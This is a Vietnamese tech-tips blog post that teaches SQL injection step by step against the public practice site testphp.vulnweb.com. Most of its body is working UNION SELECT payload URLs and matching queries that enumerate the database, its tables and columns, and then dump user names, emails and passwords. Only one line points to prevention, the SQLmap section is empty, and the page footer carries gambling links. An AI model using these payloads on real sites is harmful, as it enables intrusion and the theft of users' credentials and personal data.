Theo dõi Top Thủ Thuật để cập nhật các Thủ Thuật mới nhất nhé!
Theo dõi
Top Thu Thuat
  • Thủ Thuật
    • Thủ Thuật Điện Thoại
    • Thủ Thuật Phần Mềm
    • Thủ Thuật internet
    • Thủ Thuật Tiện Ích
  • Network
  • Security
  • Công Nghệ
  • Kiến Thức
  • Ứng Dụng
  • Office
    • Học Word
    • Học Excel
    • Học Power Point
  • Game Offline
    • Code Game
    • Game Nhập Vai
    • Kinh Nghiệm Chơi Game
No Result
View All Result
Top Thủ Thuật
  • Thủ Thuật
    • Thủ Thuật Điện Thoại
    • Thủ Thuật Phần Mềm
    • Thủ Thuật internet
    • Thủ Thuật Tiện Ích
  • Network
  • Security
  • Công Nghệ
  • Kiến Thức
  • Ứng Dụng
  • Office
    • Học Word
    • Học Excel
    • Học Power Point
  • Game Offline
    • Code Game
    • Game Nhập Vai
    • Kinh Nghiệm Chơi Game
No Result
View All Result
Top Thủ Thuật
No Result
View All Result
Home Security

Hướng dẫn khai thác lỗi SQL Injection cơ bản

Funky Boy by Funky Boy
24 Tháng Tám, 2022
in Security
0 0
0
Hướng dẫn khai thác lỗi SQL Injection cơ bản
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
Rate this post

Tấn công SQL injection có thể xảy ra khi một trang web cho người dùng thực thi câu lệnh SQL ngay trên trang Web hoặc thanh địa chỉ. Trong bài này, mình sẽ trình bày cách thực hiện một cuộc tấn công SQL Injection cơ bản trên một trang web và ở phần cuối, mình sẽ nói về công cụ SQLmap, công cụ này sẽ tự động hóa toàn bộ quy trình.

Cách để thực hiện một cuộc tấn công SQL Injection cơ bản

Trang web http://testphp.vulnweb.com/listproducts.php?cat=1 đang kiểm tra các lỗ hổng php. Mình sẽ sử dụng trang web này để thực hiện cuộc tấn công SQLi.

Nội dung

  • Cách để thực hiện một cuộc tấn công SQL Injection cơ bản
  • 1. Tìm xem trang web có dễ bị tấn công SQL Injection hay không
  • 2. Tìm các Database hiện có
  • 3. Tìm Table và dữ liệu trong Table trong Database hiện tại
  • 4. Khám phá tên cột – Column trong Table
  • 5. Tìm dữ liệu được lưu trữ trong Table
  • 6. Sử dụng SQLmap để tấn công SQL Injection tự động
  • Tóm tắt về tấn công SQL Injection

Cách để thực hiện một cuộc tấn công SQL Injection cơ bản

1. Tìm xem trang web có dễ bị tấn công SQL Injection hay không

Cách cơ bản và đơn giản nhất là kiểm tra URL của các trang bạn đang truy cập. Nếu URL có dạng http://testphp.vulnweb.com/listproducts.php?cat=1, nó là một mục tiêu tiềm năng. Để kiểm tra xem trang web có thực sự đang sử dụng SQL hay không, bạn có thể thêm hoặc một dấu ngoặc kép ” hoặc dấu ngoặc đơn ‘ ở cuối URL và xem liệu có gì trong trang thay đổi hoặc bạn gặp lỗi SQL hay không. Đối với hầu hết các trường hợp, lỗi sẽ như sau:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''a'' at line 1

Nhưng lỗi cũng có thể là bất cứ điều gì khác. Đối với trang web http://testphp.vulnweb.com/listproducts.php?cat=1 khi mình thêm dấu ‘ ở cuối sẽ xuất hiện lỗi:

Xem Thêm:  Lừa đảo trên Internet và những điều bạn cần biết

Hướng dẫn khai thác lỗi SQL Injection cơ bản 12

Vì vậy, mình đã kết luận rằng trang web này có thể bị tấn công SQL Injection http://testphp.vulnweb.com/listproducts.php?cat=1

Trong backend, ứng dụng có thể đang chạy một truy vấn tương tự như

SELECT * FROM XYZ_TABLE WHERE CAT='<the value of id>'

Truy vấn được thực thi cho http://testphp.vulnweb.com/listproducts.php?cat=1′ sẽ là

SELECT * FROM XYZ_TABLE WHERE CAT=1'

Và bạn đã đoán đúng. Lệnh này sẽ tạo ra lỗi.

Chúng ta có thể sửa đổi truy vấn theo bất kỳ cách nào chúng ta muốn. Nếu mình thêm --+ vào cuối, truy vấn sẽ chạy mà không có lỗi. (--+ hoặc # về cơ bản sẽ comment bất kỳ thứ gì sau nó)

2. Tìm các Database hiện có

Bước tiếp theo sẽ là tìm hiểu các database – cơ sở dữ liệu hiện có. Chúng ta sẽ sử dụng ORDER BY. Nếu mình chạy http://testphp.vulnweb.com/listproducts.php?cat=1 order by 5, truy vấn MySQL tương ứng sẽ là

SELECT * FROM XYZ_TABLE WHERE CAT=1 order by 5--+'

Điều này sẽ sắp xếp kết quả dựa trên cột thứ 5

Mình sẽ lặp lại quá trình này với số cột khác nhau cho đến khi mình nhận được số cột mà trang ngắt. Ví dụ: trong trường hợp này khi ORDER BY 12, trang sẽ bị ngắt. Bây giờ mình biết rằng tổng số cột là 11. Vì số cột là 11, nên mình sẽ chạy truy vấn select all 1,2,3,4,5,6,7,8,9,10,11.

http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,2,3,4,5,6,7,8,9,10,11

Truy vấn MySQL tương ứng sẽ trông như này

SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,2,3,4,5,6,7,8,9,10,11

Bây giờ điều hướng đến trang web. Ở một số nơi, bạn sẽ tìm thấy một số từ 1 đến 11. Mình thấy số 7, 2 và 9.

Hướng dẫn khai thác lỗi SQL Injection cơ bản 13

Bây giờ mình biết rằng bất cứ thứ gì mình viết ở vị trí 7, 2 và 9 sẽ được hiển thị. Mình muốn current database, user vàversion, vì vậy mình sẽ thực thi

https://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,user(),3,4,5,6,database(),8,version(),10,11 .

Lưu ý:%20 là ASCII cho space

Mình đã thay thế 2 bằng user(), 7 bằng database() và 9 bằng version().

Mình sẽ tìm hiểu cơ sở dữ liệu, phiên bản cơ sở dữ liệu và chi tiết người dùng.

Hướng dẫn khai thác lỗi SQL Injection cơ bản 14

Mình nhận được thông tin sau:

Xem Thêm:  Cách kiểm tra kiến thức Phishing bằng bài Test của Google

3. Tìm Table và dữ liệu trong Table trong Database hiện tại

Một khi thông tin trên được thu thập, mọi thứ sẽ rất đơn giản. Để có được danh sách các bảng, mình sẽ chạy

http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,table_name,3,4,5,6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schema%20=%27acuart%27

Truy vấn SQL tương ứng:

SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,table_name,3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema="acuart"

information_schema là cơ sở dữ liệu mặc định chứa danh sách các bảng. Chúng ta sẽ sử dụng thông tin này để tìm ra tên bảng. acuart là tên cơ sở dữ liệu mà chúng ta nhận được từ bước trước.

Trang web sẽ giống như sau:

Hướng dẫn khai thác lỗi SQL Injection cơ bản 15

Chúng ta có một danh sách các bảng Table:

  • artists
  • carts
  • categ
  • featured
  • guestbook
  • pictures
  • products
  • users

4. Khám phá tên cột – Column trong Table

Khám phá các cột của bảng (column trong Table) users

http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,column_name,3,4,5,6,7,8,9,10,11%20from%20information_schema.columns where table_name=’users’

Truy vấn SQL tương ứng:

SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,column_name,3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name="users"

Hướng dẫn khai thác lỗi SQL Injection cơ bản 16

Mình nhận được các tên cột là:

  • uname
  • pass
  • cc
  • address
  • email
  • name
  • phone

5. Tìm dữ liệu được lưu trữ trong Table

Để xem tên, email, mật khẩu của người dùng:

http://testphp.vulnweb.com/listproducts.php?cat=1%20union select all 1,name,3,4,5,6,email,8,pass,10,11 from users

Truy vấn SQL tương ứng:

SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,name,3,4,5,6,email,8,pass,10,11 from users

Hướng dẫn khai thác lỗi SQL Injection cơ bản 17

6. Sử dụng SQLmap để tấn công SQL Injection tự động

Nếu mình muốn sử dụng sqlmap để thực hiện việc trên, mình sẽ phải chạy các lệnh sau trên terminal của mình

Tóm tắt về tấn công SQL Injection

Cuộc tấn công SQL Injection là một trong những cuộc tấn công mạnh mẽ nhất mà hacker có thể thực hiện. Có nhiều cách để ngăn chặn SQL Injection, bạn có thể tham khảo tại đây.

Cảm ơn các bạn đã theo dõi TOP Thủ Thuật trên đây là những chia sẻ của chúng tôi về Hướng dẫn khai thác lỗi SQL Injection cơ bản. Hy vọng bài viết tại chuyên mục Security sẽ giúp ích được cho bạn. Trân trọng !!!

vote
Article Rating
ShareTweetPin
Funky Boy

Funky Boy

Tôi là Funky Boy luôn chia sẻ kiến thức về tất cả những gì liên quan đến công nghệ, như sử dụng máy tính, sử dụng điện thoại, thủ thuật để sử dụng Internet một cách hiệu quả nhất...giúp bạn có được những trải nghiệm mới thú vị và đạt được hiệu quả cao trong công việc

BÀI VIẾT LIÊN QUAN

Cách tạo Ransomware bằng Python
Security

Cách tạo Ransomware bằng Python

by Funky Boy
24 Tháng Tám, 2022
Vortimo: Extension giúp bạn truy vết thông tin trên Internet
Security

Vortimo: Extension giúp bạn truy vết thông tin trên Internet

by Funky Boy
24 Tháng Tám, 2022
Ransomware là gì? – AnonyViet
Security

Ransomware là gì? – AnonyViet

by Funky Boy
24 Tháng Tám, 2022
Hướng dẫn Hack 4G Viettel vô hạn dung lượng mới nhất
Security

Hướng dẫn Hack 4G Viettel vô hạn dung lượng mới nhất

by Funky Boy
24 Tháng Tám, 2022
Danh sách các Room Free trên Tryhackme để tập Hack
Security

Danh sách các Room Free trên Tryhackme để tập Hack

by Funky Boy
24 Tháng Tám, 2022
Cách Stress Test Website bằng cách tấn công HTTP Flood
Security

Cách Stress Test Website bằng cách tấn công HTTP Flood

by Funky Boy
24 Tháng Tám, 2022
Next Post
Tải Plants vs Zombies FREE 3.3.0 APK + MOD (Vô Hạn Tiền, Menu FM)

Tải Plants vs Zombies FREE 3.3.0 APK + MOD (Vô Hạn Tiền, Menu FM)

Subscribe
Connect with
I allow to create an account
When you login first time using a Social Login button, we collect your account public profile information shared by Social Login provider, based on your privacy settings. We also get your email address to automatically create an account for you in our website. Once your account is created, you'll be logged-in to this account.
DisagreeAgree
Notify of
guest
I allow to create an account
When you login first time using a Social Login button, we collect your account public profile information shared by Social Login provider, based on your privacy settings. We also get your email address to automatically create an account for you in our website. Once your account is created, you'll be logged-in to this account.
DisagreeAgree
guest
0 Comments
Inline Feedbacks
View all comments

Có thể bạn sẽ cần

Native app là gì? Những ưu nhược điểm nổi bật của Native app
Công Nghệ

Native app là gì? Những ưu nhược điểm nổi bật của Native app

by Funky Boy
30 Tháng Mười Một, 2022
0

Native app là gì được xem là câu hỏi được rất nhiều người quan tâm hiện nay khi tìm hiểu...

Read more

Đề xuất cho bạn

Native app là gì? Những ưu nhược điểm nổi bật của Native app

Native app là gì? Những ưu nhược điểm nổi bật của Native app

30 Tháng Mười Một, 2022
Cách Kiếm Tiền Online Cho Mẹ Bỉm Sữa Uy Tín Và Ổn Định

Cách Kiếm Tiền Online Cho Mẹ Bỉm Sữa Uy Tín Và Ổn Định

23 Tháng Mười Hai, 2022
Cách tạo Chữ ngược, chữ nghiêng, gạch dưới để đặt tên, chat

Cách tạo Chữ ngược, chữ nghiêng, gạch dưới để đặt tên, chat

8 Tháng Chín, 2022
Tạo Phòng học ảo trên Zoom bằng Immersive View

Tạo Phòng học ảo trên Zoom bằng Immersive View

8 Tháng Chín, 2022
Các lệnh nguy hiểm nhất trên Windows bạn không nên dùng

Các lệnh nguy hiểm nhất trên Windows bạn không nên dùng

8 Tháng Chín, 2022
Cách tăng FPS trong game trên Laptop

Cách tăng FPS trong game trên Laptop

8 Tháng Chín, 2022

TOP THỦ THUẬT

Top Thủ Thuật – Chia Sẻ Kiến Thức Công Nghê, Máy Tính, Phần Mềm

ĐỐI TÁC

✩ S666

✩ https://iwin68.ltd/

✩ Go88 tài xỉu

✩ IWIN

✩ VN138

✩ 789BET

✩ May 88

✩ Sunc888

✩ Sunwin tài xỉu

LIÊN KẾT

✩ QH88

✩ FAFA191

✩ Top game bài đổi thưởng 

✩ SV368

✩ IWIN88

✩ Tải IWIN86

✩ Ku fun

Thông tin liên hệ

• 247 Hàm Nghi, Mỹ Đình, Nam Từ Liêm, Hà Nội

• Email: [email protected]

• Mobile: 0878310247

• Website: https://topthuthuat.com.vn/

✩ Bong da lu

  • Giới Thiệu
  • Liên Hệ
  • Chính Sách
  • Game Bài đổi thưởng
  • 168bet
  • BK8
  • TWIN

© 2021 Top Thủ Thuật - Tải game Offline miễn phí

No Result
View All Result
  • Thủ Thuật
    • Thủ Thuật Điện Thoại
    • Thủ Thuật Phần Mềm
    • Thủ Thuật internet
    • Thủ Thuật Tiện Ích
  • Network
  • Security
  • Công Nghệ
  • Kiến Thức
  • Ứng Dụng
  • Office
    • Học Word
    • Học Excel
    • Học Power Point
  • Game Offline
    • Code Game
    • Game Nhập Vai
    • Kinh Nghiệm Chơi Game

© 2021 Top Thủ Thuật - Tải game Offline miễn phí

Welcome Back!

Login to your account below

Forgotten Password?

Create New Account!

Fill the forms bellow to register

All fields are required. Log In

Retrieve your password

Please enter your username or email address to reset your password.

Log In
wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply